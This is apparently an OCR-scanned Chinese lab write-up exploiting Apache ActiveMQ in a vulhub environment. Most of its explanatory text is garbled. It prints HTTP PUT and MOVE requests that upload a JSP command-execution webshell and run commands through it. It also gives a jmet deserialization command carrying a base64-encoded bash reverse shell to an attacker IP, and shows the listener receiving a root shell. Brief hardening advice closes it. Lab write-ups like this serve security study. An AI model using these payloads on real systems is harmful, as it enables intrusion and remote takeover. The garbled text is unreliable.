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MRk A : Apache ActiveMQ 5.x ~ 5.14.0

BE#nEEA: 192.168.102.137 (AJF vulhub E#E#&E)

ActiveMQ ZAIAFFE PUT. MOVE 153k, HFFiZ PUT BY, #3154 Payload(BIANZTE BIB %), Response &iR[EIHEN AT
BRZER
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BE@EEMIE poc RN

PUT /fileserver/Angus../../%08/./..%08/ HTTP/1.1
Host: x.x.x.x:8161

a:= =
Request Response

pretty (RN Hex W = pretty [[E Hex Render \n =

1 PUT /fileserver/a../../%08/./..%08/ HTTP/1.1 1 HTTP/1.1 500

2 Host: SR Ry C:\inetpub\wwwroot\soft\ActiveMQ\apache-activemg-5. 8
3 Authorization: Basic YWRtaW46YWRtaW4d= 0\webapps\fileserver\\.. (||l lUwil lcn)

4 Upgrade-Insecure—-Requests: 1 ? Connection: close

5 User—-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64) 3 Server: Jetty(7.6.7.v20120910)



AppleWebKit/537. 36 (KHTML, |ike Gecko) 4
Chrome/91. 0. 4472. 114 Safari/537. 36 5
&6 Accept:

text/html, application/xhtml+xml, application/xml ;g=0.9
, image/avif, image/webp, image/apng, */%;q=0. 8, app|licati
on/signed-exchange:v=b3;q=0. 9

7 Referer: http:/. 8161/admin/queues. jsp

8 Accept-Encoding: gzip, deflate

9 Accept-Language: zh-CN, zh;q=0.9

10 Cookie: JSESSIONID=uudéleyzwbdure jv?2zwdBgp

11 Connection: close

12

13

ActiveMQ FF/E put 3ERT, & fileserver fFERT A L& webshell, —#&#3ERMINRE 204, &EARA put MiRE 404 5
500, BEIEMRE fileserver BIR TN, EAVRAE
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Request Response m
Prettynl'ltu \n| = PreﬂyHu Render \n =

1 PUT /fileserver/shell. jsp HTTP/1.1 1 HTTP/1.1 204 No Content

2 Host: 'ic. s, .. ;8161 2 Connection: close

3 Authorization: Basic YWRtaW46YWRtaWd= 3 Server: Jetty(7.6.7.v20120910)

4 Upgrade-Insecure-Requests: 1 4

5 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64) 5
AppleWebKit/537. 36 (KHTML, |ike Gecko)
Chrome/91.0.4472. 114 Safari/537. 36



6 Accept:
text/html, application/xhtml+xml, application/xml;q=0.9
, image/avif, image/webp, image/apng, */*;q=0.8, appl icati
on/signed-exchange;v=b3:;q=0.9

/ Referer :8161/admin/queues. jsp

8 Accept—Encoding: gzip, deflate

9 Accept-Language: zh—CN, zh;q=0.9

) Cookie: JSESSIONID=uudéleyzwbduro jv92zwdBagp

1 Connection: close
? Content-Length: 11

4 this is jsp

AI@iY / admin/test/systemProperties.jsp HE LI R SRR
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‘est Pages

hese pages are used to test out the environment and web framework.

System Property

va.runtime.name
un.boot.library.path
va.vm.version
ava.vm.vendor
ava.vendor.url
ava.rmi.server.randomliDs
ath.separator
wva.util.logging.config.file
va.vm.name
le.encoding.pkg
iser.country
unjava.launcher
un.os.patch.level
ctivemg.home

1 R 1

Java(TM) SE Runtime Environment
Jopt/jdk/jre/lib/amd64

23.21-b01

Oracle Corporation
http://java.oracle.com/

true

logging.properties

Java HotSpot(TM) 64-Bit Server VM
sun.io

Us

SUN_STANDARD

unknown

Jopt/activemqg

[ IR W 1SS DR T R e N . 1



WA VITLSpPeCHICauon.ndgme Javd ViTddl ivigonine speciicduon

iser.dir Jopt/apache-activemqg-5.11.1
va.runtime.version 1.7.0 21-b11

ava.awt.graphicsenv sun.awt.X11GraphicsEnvironment
ctivemq.classpath Jopt/activemag/conf:
ava.endorsed.dirs /opt/jdk/jre/lib/endorsed

is.arch amd64

ava.io.tmpdir /opt/activemqg/tmp

ne.separator

ava.vm.specification.vendor Oracle Corporation

15.name Linux

atty.host 0.0.0.0

ctivemq.base Jopt/activemqg

un.jnu.encoding ANSI X3.4-1968

ava.library.path /usr/java/packages/lib/amd64:/usr/lib64:/libe4:/lib:/usr/lib

¥ webshell MOVE ZIRTfEMTRIE % api T, BIH]
1% jsp webshell

Request Response Ll =
Raw Hex ‘“n = Pretty lENM Hex Render Yn =

1 PUT /fileserver/angus. txt HTTP/1.1 1T HTTP/1.1 204 No Content

2 Host: 192, 168.102.137:8161 ? Connection: close

2 Cache—Control: max—age=0 3 Server: Jetty(8.1.16.v20140903)

4 Authorization: Basic YWRtaW4&YWRtaWd= 4

2 Upgrade—Insecure—Requests: 1 2

& User—Agent: Mozilla/5.0 (Windows NT 10.0; Winédd; x64)
7 Accept: text/html, application/xhtml+xml, app!lication/xn
£ Accept—Encoding: gzip, deflate

o - —A M



¥ ACCEPT—Language: Zh—UN, Zh;q=u. ¥

10 Cookie: JSESSIONID=Bsel09hf7ob712fdtzabzBwqu
11 Connection: close

17 Content—Length: 397

13

14 <%0 page import="java. io. *" %>
15 <%

16 try |

17 String cmd = request. getParameter ("emd") ;
18 Process child = Runtime. getRuntime (). exec (ecmd) ;
19 InputStream in = child. getlnputStream()

20 int o;

21 while ({¢ = in.read()) != -1) {
22 out.print({char)c);

23}

24 in.close();

25 try |

26 child. waitFor () ;

27 } catch (InterruptedException e) |
78  e.printStackTracel() :

29 1}

30} cateh (I0Exception e) |

31 System. err.printinie);

32}

33 %

Move ZE api BE T

Request Response

'l Raw Hex ‘\n = Pretty lGE0l Hex Render Yn =

1 MOVE /fileserver/angus. txt HTTP/1.1 1 HTTPS1.1 204 No Content

Z? Destination: file:///opt/activemg/webapps/api/angus. j: 7 Connection: close

Z Host: 192.168.102.137:8161 2 Server: Jetty(8.1.16.v20140903)
4 Cache—Control: max—age=0 4

5 Authorization: Basic YWRtaW4&YWRtaWd= 5

& Upgrade—Insecure—Requests: 1
7 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winéd,; xb&4)

- .



B ACCEPT: TexT/html, application/xntmi+xml, application/ xn
9 Accept—Encoding: gzip, deflate

10 Accept—Language: zh—CN, zh;q=0.9

11 Cookie: JSESSIONID=8se00%hf7ob712fdtzabz8wqu

17 Connection: close

13 Content-Length: 397

14

15 <%0 page import="java. io. *" %>

16 <%

17 try |

12 String cmd = request. getParameter ("cmd") ;
19  Process child = Runtime. getRuntime (). exec (cmd) ;
20 InputStream in = child. getlnputStream() ;
21 int o

22 while ({c = in.read()) !=-1) [

23 out.print((char)c);

24 1

25 in.close();

26 try |

27  child.waitFor () ;

28 | cateh (InterruptedException e) |

79  e.printStackTrace();

30

21} catch (IDException e) |

37 System. err.printin(e);

33}

34 %

&R webshell X, #178< / api/angus.jsp?cmd=uname%20-a
AM) Test Pages = M 192.168.102.137:8161 /apifanc X +

< C A F==| 192.168.102.137:8161/apifangus.jsp?cmd=uname%20-a

Linux c1a53e0e499%e 5.13.0-28-generic #31~20.04.1-Ubuntu SMP Wed Jan 19 14:08:10 UTC 2022 x86 64 GNU/Linux
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WEEM: 192.168.102.137

BAREMN: 192.168.102.202

Apache ActiveMQ 5.13.0 Z Rl 5.x lRAFREFEEZZRE, ZRERTREFSERHETTEREREIICNE, BTRKEER
BENFHIESILRY Java Message Service(JMS)ObjectMessage X &FIAIZRAMITERRE.

T Esthiit:

https://github.com/matthiaskaiser/jmet/releases/tag/0.1.0

480 Test Pages X M |5cslhost : Browse event x + Q
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java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "touch /tmp/Angustest" -Yp ROME 192.168.102.137 61616




Home | Queunes | Topics | Subscribers | Connections | Network | Scheduled | Send

Browse event

Message ID fgrrelatlon Persistence Priority Redelivered _II?_LSDW Timestamp Type Operations
2022-02-17
ID:DESKTOP- 4JNJ228 31660- .
1645051400992-1:1:1- 1:1 Persistent 4 false 01:30:01:201 Delete
UTcC
iew Consumers
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Headers Properties

Message ID ID:DESKTOP-4IMN1228-31660-1645061400992-1:1:1:1:1
Destination queue://event

Correlation ID

Group

Sequence 0
Expiration 0
Persistence Persistent
Priority 4

Redelivered false
Reply To
Timestamp 2022-02-17 01:30:01:201 UTC

Type

Message Actions
Delete

Copy

[-- Please select - v |

Move

Message Details

=

HANB 23 docker—compose exec activemq bash, B / tmp/Angustest EINEIE, 15%BRRIEF] BRI

- - W L - ] & * - ' -

root@ubuntu: /home /Desktop/vulhub-master/activemq/CVE-2015-5254# docker-c
ompose exec activemg bash

roont@9fi1asf4facac: fopt/apache-activemq-5.11.1# 1s [tmp
Angustest | hsperfdata_root success
root@d0lasbf4facac: fopt/apache-activemg-5.11.1# I

AR S S im0

Nc -1vvp 18111



Kixbashs#shell®<payload®|BinENl L (XEEENbashéas$#1Tbase644zi8) //base’RiBRZA: bash -1 >& /dev/tcp/192.168.10
2.202/18111 0>&1

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "bash -c {echo, YmFzaCAtaSA+JiAvZGVZ2L3RjcC8xOTIuMTY4LjEwMi4yM
DIVMTkxMTEgMD4mMQ==} | {base64,-d} | {bash,-i}" -Yp ROME 192.168.102.137 61616

M Test Pages X M |ocalhost: Message ID:DESKT. X +

< C A =% | 192.168.102.137 1/admin/message.js
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Headers Properties
Message ID ID:DESKTOP-4IN]228-22057-1645064777700-1:1:1:1:1

Destination queue://event

Correlation ID

Group

Sequence 0
Expiration 0
Persistence Persistent
Priority 4

Redelivered false

Reply To

Timestamp 2022-02-17 02:26:17:865 UTC
Type

Message Actions

Delete

Copy

— Plzase select - w

Move
Message Details

{=}

REBASIfE, REIGGEEN, RIMAINRE shell

:~$ nc -lvvp 19111
listening on [any] 19111 ...
connect to [192.168.182.282] from ubuntu [192.168.102.137] 51584

bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@9@1a5fsfacac:/opt/apache-activemg-5.11.1% [

BEEIN



1. HXRBIGHE), FIE conf/jetty.xml {4, bean id J securityConstraint FHJ authenticate {SE{&EN true, B
ARZ5ENR]

2. x350%, BIMEH conf/jetty.xml X{4, bean id J securityLoginService T conf {E3XEXA properties, 14
AP &%, ERRSENE

3. FERIRAZESFRA

END



